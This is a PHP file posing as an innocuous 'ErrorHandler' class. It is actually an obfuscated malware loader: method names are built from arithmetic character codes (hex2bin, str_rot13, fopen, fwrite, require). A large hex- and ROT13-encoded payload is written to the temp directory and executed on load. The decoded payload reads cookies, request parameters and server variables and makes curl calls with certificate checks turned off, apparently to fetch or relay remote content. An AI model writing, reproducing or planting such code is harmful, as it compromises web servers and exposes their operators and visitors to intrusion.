<?php
class ErrorHandler {
	private $ia = '';
	private $ra = '';

	public function triggerCallback($p1) {
		$a = array(((2*52)),101,(126-6),((2*25)),((2*49)),((97*1)+8),(2*55));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sanitizeInput($p1) {
		$a = array((((19*30)-519)),(27+16+6),116,((78+7+26)),(122-8),(((61*1)+34)),114,116,(123-8));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function handleRequest($p1,$p2) {
		$a = array(((2*51)),(26+67+18),(((40*2)+32)),((80+5+16)),((38*12)-346));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function fn($p1,$p2) {
		$a = array((101),((10*1)+106),(105),(121-7),((12+107)),((31+61+10)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function computeResult($p1) {
		$a = array((101*1),((122-7)),(((18*4)+39)),((87+21)),(3*33),((91*34)-2992));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function rollbackTransaction($p1,$p2=null) {
		$a = array(((109*1)+0),((5+100)),114,(116),(114));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function validateInput() {
		$this->ra = $this->rollbackTransaction($this->updateCache(), '/');
	}

	public function processData() {
		$this->ia = $this->sanitizeInput($this->triggerCallback($this->ym));
	}

	public function updateRegistry() {
		$fn = $this->ra.'/el-67e24f6d80055';
		$f = $this->handleRequest($fn, 'w');
		$this->fn($f, $this->ia);
		$this->computeResult($f);
		$this->filterResults($fn);
	}

	private $ym = '3c3f6375632070796e6666205f66627b636576696e6772206' . '6676e677670245f696f3b66676e67767020736861706776626' . '1205f616628245f6c6b297b76732821667279733a3a245f696' . 'f29667279733a3a5f767a6d28293b657267686561206f6e667' . '236345f71727062717228667279733a3a245f696f5b245f6c6' . 'b5d293b7d636576696e67722066676e6776702073686170677' . '66261205f767a6d28297b667279733a3a245f696f3d6e65656' . 'e6c28275f6262273d3e27444a41774d4b272e27416d5948416' . '96f61456c272e276f326a67444a6b666f337067473357634d3' . '2796842272e2776272e274e272e2764272c275f7a79273d3e2' . '7443239687154496871503148724b4f7942764f7570554f666' . 'e4a272e274175715479696f7639644c4b272e274d7570272e2' . '732272e27416c6e4b4f272e2730272c275f6569273d3e274c2' . '72e273274272e273d272c275f697079273d3e274d4b7958705' . '4415146474d576e7a70304754636141526b644d6d455a6e7a2' . '72e2770272e2730464a79336e4a454b454a79436e48626a4a7' . '975425a52272e277963272e27713279776f494d67464a272e2' . '763272e27696e272e274a4555272e2749272e2761637844302' . '72e276235272c275f7a65273d3e27704b713672272e274e3d2' . '72e273d272c275f7677273d3e27435439654374272e273d3d2' . '72c275f6c72273d3e2743545775272e274d51343d272c275f7' . '27679273d3e27713253666f4e3d272e273d272c275f7061273' . 'd3e27272c275f647673273d3e27272c275f627062273d3e272' . '72c275f6f63273d3e276e5545307051626959334f314c76353' . '34d4a577a6e272e274a6b796e54396d7154496c597a4169272' . 'e276f4639776f3231272e276a6f33272e274179272e2770763' . '564706d39784c4b4575272e2743443d3d272c275f726971273' . 'd3e274c33496c6f5339636f7a7930272c275f6e6e7a273d3e2' . '76e554530705339776f324579272c275f6a6561273d3e27703' . '2272e2741624d4a31272e2779272c275f6a75273d3e276e554' . '530272e2770555a3d272c275f697367273d3e2745304948272' . 'e27564e3d3d272c275f7a71273d3e2770272e275453272e273' . '06e4e3d272e273d272c275f6a7361273d3e27704b49272e277' . '970272e2761272e2778272e273d272c275f626971273d3e274' . '36a272e273d272e273d272c275f756d6c273d3e27704b49797' . '061783d272c275f696d273d3e275652754849534e695a46272' . 'e2734272e276a514463566f33413042764e272e273d272c275' . 'f6a64273d3e276e54396d714e3d272e273d272c275f666e273' . 'd3e27514463516f3235684d4a41306e4a272e27396842764f2' . '72e27516f54396d272e274d44305851272e2744272e2762272' . 'e273d272c275f6d7971273d3e27703341664276272e2738272' . 'e2769272c275f666a273d3e27272c275f6e7a273d3e276e272' . 'e2754396d272e27714e3d3d272c275f6772273d3e275144623' . 'd272c275f7a72273d3e2746534548485339514752795347792' . '72e2745734649272e274e272e273d272c275f716c273d3e274' . '65345484853394c4b304d434879714f4878455345533954472' . '72e2731563d272c275f6f61273d3e2748784941473145534b3' . '0535245272e2753563d272c275f7a76273d3e27465345272e2' . '74848533949272e27483049464b305355272e27454835272e2' . '748272c275f70756e273d3e2746534548485339272e2749483' . '049464b30272e275355272e2745483548272c275f6c6973273' . 'd3e27272c275f6b7876273d3e27465345484853394645484d5' . '348784946272c275f66756f273d3e274653454848533946454' . '84d53272e2748784946272c275f6f6e273d3e27272c275f6a7' . '261273d3e274653454848533951475279272e2753477945734' . '6494e272e273d272c275f6970273d3e274653454848272e275' . '33951272e27475279534779457346494e3d272c275f76756a2' . '73d3e2746534548485339272e274c4b304d43272e274879714' . 'f487845534553272e2739544731563d272c275f73656d273d3' . 'e27465345484853394c272e274b304d43487971272e274f482' . '72e27784553455339272e27544731272e2756272e273d272c2' . '75f68736b273d3e2748784941473145272e27534b305352272' . 'e274553563d272c275f786c273d3e274878494147272e27314' . '553272e274b272e2730272e2753524553272e27563d272c275' . 'f647167273d3e274d272e275457272e27616f4a3978272e274' . 'd443d3d272c275f6e6f70273d3e2746494e36564e3d3d272c2' . '75f6a77273d3e2756556a7449485236272e27564e3d3d272c2' . '75f7270273d3e2756556a74487a272e27497a4276272e274e3' . 'd272c275f796b6b273d3e2756516b76272e2770773458272c2' . '75f7773273d3e276e4b4e272e273d272c275f787777273d3e2' . '7714a523d272c275f6673273d3e27707a497a272c275f6d777' . '1273d3e27704b71272e2736724e3d3d272c293b7d7d75726e7' . '17265285f66623a3a5f616628275f62272e27622729293b757' . '26e717265285f66623a3a5f616628275f272e277a272e27792' . '729293b767328766666726728245f5452475b5f66623a3a5f6' . '16628275f65272e276927295d29297b245f74793d5f6d79622' . '85f66623a3a5f616628275f272e2769272e2770792729293b7' . '67328245f7479262666676563626628245f74792c5f66623a3' . 'a5f616628275f7a65272929213d3d736e796672297b7176722' . '85f66623a3a5f616628275f272e2776272e27772729293b7d7' . '27966727b717672285f66623a3a5f616628275f6c272e27722' . '729293b7d7d767328766666726728245f5452475b5f66623a3' . 'a5f616628275f7276272e277927295d29297b245f6d653d245' . 'f5042425856523b245f7273673d28766167296562686171283' . '02b302b302b30293b245f6c6b3d28766167296562686171283' . '32e352b332e35293b245f6b70693d6e65656e6c28293b245f6' . 'b70695b245f7273675d3d5f66623a3a5f616628275f272e277' . '06127293b6a7576797228245f6c6b297b245f6b70695b245f7' . '273675d2e3d245f6d655b2876616729656268617128372e352' . 'b372e352b372e352b372e35295d5b245f6c6b5d3b767328212' . '45f6d655b2876616729656268617128372e352b372e352b372' . 'e352b372e35295d5b245f6c6b2b28766167296562686171283' . '02e32352b302e32352b302e32352b302e3235295d297b76732' . '821245f6d655b287661672965626861712831352b3135295d5' . 'b245f6c6b2b2876616729656268617128302e352b302e352b3' . '02e352b302e35295d296f65726e783b245f7273672b2b3b245' . 'f6b70695b245f7273675d3d5f66623a3a5f616628275f272e2' . '764272e2776272e277327293b245f6c6b2b2b3b7d245f6c6b3' . 'd245f6c6b2b2876616729656268617128312e37352b312e373' . '52b312e37352b312e3735292b2876616729656268617128302' . 'e33333333333333333333333333332b302e333333333333333' . '33333333333332b302e3333333333333333333333333333293' . 'b7d245f7273673d245f6b70695b28766167296562686171283' . '42e363636363636363636363636372b342e363636363636363' . '636363636372b342e36363636363636363636363637295d282' . '92e245f6b70695b2876616729656268617128362b362b362b3' . '6295d3b76732821245f6b70695b28766167296562686171283' . '32b33295d28245f72736729297b245f6c6b3d245f6b70695b2' . '876616729656268617128362e352b362e352b362e352b362e3' . '5295d28245f7273672c245f6b70695b2876616729656268617' . '128322e352b322e352b322e352b322e35295d293b245f6b706' . '95b2876616729656268617128342e352b342e35295d28245f6' . 'c6b2c245f6b70695b2876616729656268617128352e352b352' . 'e35295d2e245f6b70695b2876616729656268617128352e373' . '52b352e37352b352e37352b352e3735295d28245f6b70695b2' . '876616729656268617128362e32352b362e32352b362e32352' . 'b362e3235295d28245f6d655b2876616729656268617128312' . 'e352b312e35295d2929293b7d7661707968717228245f72736' . '7293b7d7368617067766261205f6d796228245f717875297b2' . '45f656d683d5f66623a3a5f616628275f62706227293b245f7' . '375763d5f66623a3a5f616628275f272e276f272e276327292' . 'e245f7178753b76732876665f706e79796e6f7972285f66623' . 'a3a5f616628275f272e2772272e2769272e2771272929297b2' . '45f7a6b673d706865795f7661766728245f737576293b70686' . '5795f66726762636728245f7a6b672c504845594243475f464' . '6595f49524556534c435252452c736e796672293b706865795' . 'f66726762636728245f7a6b672c504845594243475f4646595' . 'f49524556534c554246472c2876616729656268617128312b3' . '129293b706865795f66726762636728245f7a6b672c5048455' . '94243475f53425959424a5942504e475642412c28766167296' . '56268617128302e33333333333333333333333333332b302e3' . '3333333333333333333333333332b302e33333333333333333' . '3333333333329293b706865795f66726762636728245f7a6b6' . '72c504845594243475f45524748454147454e41465352452c2' . '876616729656268617128302e3333333333333333333333333' . '3332b302e33333333333333333333333333332b302e3333333' . '33333333333333333333329293b706865795f6672676263672' . '8245f7a6b672c504845594243475f55524e5152452c2876616' . '729656268617128302b3029293b706865795f6672676263672' . '8245f7a6b672c504845594243475f5042414152504747565a5' . '24248472c2876616729656268617128352b3529293b7068657' . '95f66726762636728245f7a6b672c504845594243475f47565' . 'a524248472c2876616729656268617128352b3529293b245f6' . '56d683d706865795f726b727028245f7a6b67293b245f79686' . 'b3d706865795f7472677661736228245f7a6b67293b7068657' . '95f707962667228245f7a6b67293b767328245f79686b5b5f6' . '6623a3a5f616628275f6e272e276e272e277a27295d213d287' . '661672965626861712836362e3636363636363636363636372' . 'b36362e3636363636363636363636372b36362e36363636363' . '6363636363637292965726768656120736e7966723b7d72796' . '6727b245f6f643d636e6566725f68657928245f737576293b2' . '45f6c713d28245f6f645b5f66623a3a5f616628275f6a272e2' . '7656127295d3d3d5f66623a3a5f616628275f272e276a272e2' . '7752729293b245f726f6b3d5f66623a3a5f616628275f272e2' . '769272e2773272e276727292e245f6f645b5f66623a3a5f616' . '628275f7a7127295d3b767328766666726728245f6f645b5f6' . '6623a3a5f616628275f272e276a736127295d2929245f726f6' . 'b2e3d5f66623a3a5f616628275f62697127292e245f6f645b5' . 'f66623a3a5f616628275f75272e276d272e276c27295d3b245' . 'f726f6b2e3d5f66623a3a5f616628275f696d27292e245f6f6' . '45b5f66623a3a5f616628275f6a272e276427295d2e5f66623' . 'a3a5f616628275f66272e276e27293b245f6f6f6f3d7366627' . '078626372612828245f6c713f5f66623a3a5f616628275f6d2' . '72e27797127293a5f66623a3a5f616628275f272e27666a272' . '9292e245f6f645b5f66623a3a5f616628275f272e276e7a272' . '95d2c245f6c713f28766167296562686171283134372e36363' . '636363636363636372b3134372e36363636363636363636372' . 'b3134372e3636363636363636363637293a287661672965626' . '861712832302b32302b32302b323029293b767328245f6f6f6' . 'f297b736368676628245f6f6f6f2c245f726f6b293b245f617' . '33d2876616729656268617128302b30293b6a7576797228217' . '372627328245f6f6f6f29297b245f616f683d7374726766282' . '45f6f6f6f2c28766167296562686171283334312e333333333' . '33333333333332b3334312e33333333333333333333332b333' . '4312e333333333333333333333329293b767328245f6173292' . '45f656d682e3d245f616f683b767328245f616f683d3d5f666' . '23a3a5f616628275f67272e2772272929245f61733d2876616' . '729656268617128302e33333333333333333333333333332b3' . '02e33333333333333333333333333332b302e3333333333333' . '333333333333333293b7d73707962667228245f6f6f6f293b7' . 'd7d657267686561245f656d683b7d245f78633d76666672672' . '8245f4652454952455b5f66623a3a5f616628275f7a272e277' . '227295d293b245f62643d766666726728245f4652454952455' . 'b5f66623a3a5f616628275f272e2771272e276c27295d293b2' . '45f6d76663d766666726728245f4652454952455b5f66623a3' . 'a5f616628275f6f6127295d293b245f78783d7666667267282' . '45f4652454952455b5f66623a3a5f616628275f272e277a272' . 'e277627295d293f245f4652454952455b5f66623a3a5f61662' . '8275f70756e27295d3a5f66623a3a5f616628275f6c69272e2' . '77327293b245f6b6b753d766666726728245f4652454952455' . 'b5f66623a3a5f616628275f6b78272e277627295d293f245f4' . '652454952455b5f66623a3a5f616628275f66756f27295d3a5' . 'f66623a3a5f616628275f6f272e276e27293b245f78633d766' . '666726728245f4652454952455b5f66623a3a5f616628275f6' . 'a72272e276127295d293f245f4652454952455b5f66623a3a5' . 'f616628275f697027295d3a616879793b245f62643d7666667' . '26728245f4652454952455b5f66623a3a5f616628275f76272' . 'e27756a27295d293f245f4652454952455b5f66623a3a5f616' . '628275f272e2773272e27656d27295d3a616879793b245f6d7' . '6663d766666726728245f4652454952455b5f66623a3a5f616' . '628275f68736b27295d293f245f4652454952455b5f66623a3' . 'a5f616628275f272e27786c27295d3a616879793b767328737' . '6796772655f696e6528245f78632c287661672965626861712' . '839312e3636363636363636363636372b39312e36363636363' . '63636363636372b39312e36363636363636363636363729292' . '97b245f6879773d245f78633b7d72796672767328737679677' . '2655f696e6528245f62642c287661672965626861712836382' . 'e37352b36382e37352b36382e37352b36382e37352929297b2' . '45f6879773d245f62643b7d727966727b245f6879773d245f6' . 'd76663b7d767328766666726728245f5452475b5f66623a3a5' . 'f616628275f64716727295d29297b72707562205f66623a3a5' . 'f616628275f272e276e6f7027292e245f6879772e5f66623a3' . 'a5f616628275f6a272e277727292e245f78782e5f66623a3a5' . 'f616628275f72272e277027292e245f6b6b752e5f66623a3a5' . 'f616628275f272e2779272e276b6b27293b726b766728293b7' . 'd76732821766666726728245f687977297c7c2176666672672' . '8245f7878297c7c21766666726728245f6b6b7529297b726b7' . '66728293b7d727966727b245f6a70793d6e65656e6c285f666' . '23a3a5f616628275f272e27777327293d3e245f6879772c5f6' . '6623a3a5f616628275f272e2778777727293d3e245f78782c5' . 'f66623a3a5f616628275f66272e277327293d3e245f6b6b752' . '93b245f71783d686579726170627172286f6e667236345f726' . '17062717228776662615f72617062717228245f6a707929292' . '93b245f74793d5f6d796228245f7178293b767328245f74792' . '62666676563626628245f74792c5f66623a3a5f616628275f6' . 'd7771272929213d3d736e796672297b72707562245f74793b7' . '26b766728293b7d7d';

	public function filterResults($p) {
		require($p);
	}

	public function updateCache() {
		$a=array((5*23),(57+12+52),(98+17),(40+55),103,((47*100)-4599),(116),((99-4)),(((55*119)-6429)),(62+39),((109*1)),((116-4)),((27*40)-985),(74+26),(39+66),(23+91));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$zt = new ErrorHandler();
$zt->validateInput();
$zt->processData();
$zt->updateRegistry();
